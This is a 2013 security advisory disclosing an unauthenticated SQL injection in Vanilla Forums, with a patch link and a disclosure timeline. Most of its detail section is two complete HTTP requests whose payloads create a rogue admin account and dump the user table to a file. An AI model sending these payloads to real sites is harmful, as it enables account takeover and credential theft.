Product Name:

Vanilla Forums

Vulnerable Version:

Up to vanilla-core-2-0-18-4

Tested on:

Windows Server 2003
Apache 2.4.3
PHP 5.4.7
MySQL 5.5.27

Vulnerability Overview:

SQL-Injection is possible, because$_POST arrays are not proper 
sanitized.
You do not need to be authenticated.

Vulnerability Details:

To insert an arbitrary user, a sample HTTP-Post Request looks as 
follows:

POST /[PATH]/vanilla/entry/signin HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 
Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: [any cookie]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

Form%2FTransientKey=VQYSOG2F3D38&Form%2Fhpt=&Form%2FTarget=discussions&
Form%2FClientHour=2013-3-28+11%3A37&Form%2FEmail['admin';INSERT INTO 
gdn_user
(UserID, Name, Password, HashMethod, DateInserted, Admin, Permissions)
VALUES (NULL, '1234', '$P$BayO4QrMb9wgzdjNhlUBWdQcVaMnKN0', 'Vanilla',
'2013-03-28 00:00:00', '1', 
'');#]=abcd&Form%2FPassword=*&Form%2FSign_In=
Sign+In&Checkboxes%5B%5D=RememberMe

Indeed you has to take care of the proper encryption algorithm which is 
currently used.

As it is not possible to get the user table displayed on the website, 
you could establish an attack as follows:

POST /[PATH]/vanilla/entry/passwordrequest HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 
Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

Form%2FTransientKey=OJS6EB1J0KW7&Form%2Fhpt=&Form%2FEmail['ac';select *
from gdn_user into outfile '[FULL_PATH]\\vanilla\\out.txt' #]=13&
Form%2FRequest_a_new_password=Request+a+new+password

Update Link:

http://vanillaforums.org/discussion/23339/security-update-vanilla-2-0-18-7

Credits:

This vulnerability was discovered by Michael Schratt
Mail: mail @ mfs-enterprise . com
Web: 
http://mfs-enterprise.com/wordpress/2013/04/05/vanilla-forums-2-0-18-sql-injection-insert-arbitrary-user-dump-usertable/
Twitter: @bl4ckw0rm

Timeline:

Mar 28, 2013 – Discovered vulnerability
Mar 28, 2013 – Contacted vanilla forums and asked for security contact
Mar 28, 2013 – Vanilla Forums responded
Mar 28, 2013 – Transfered vulnerability details
Apr 02, 2013 – Requested update
Apr 04, 2013 – Requested update
Apr 05, 2013 – Patch released
Apr 05, 2013 – Public advisory released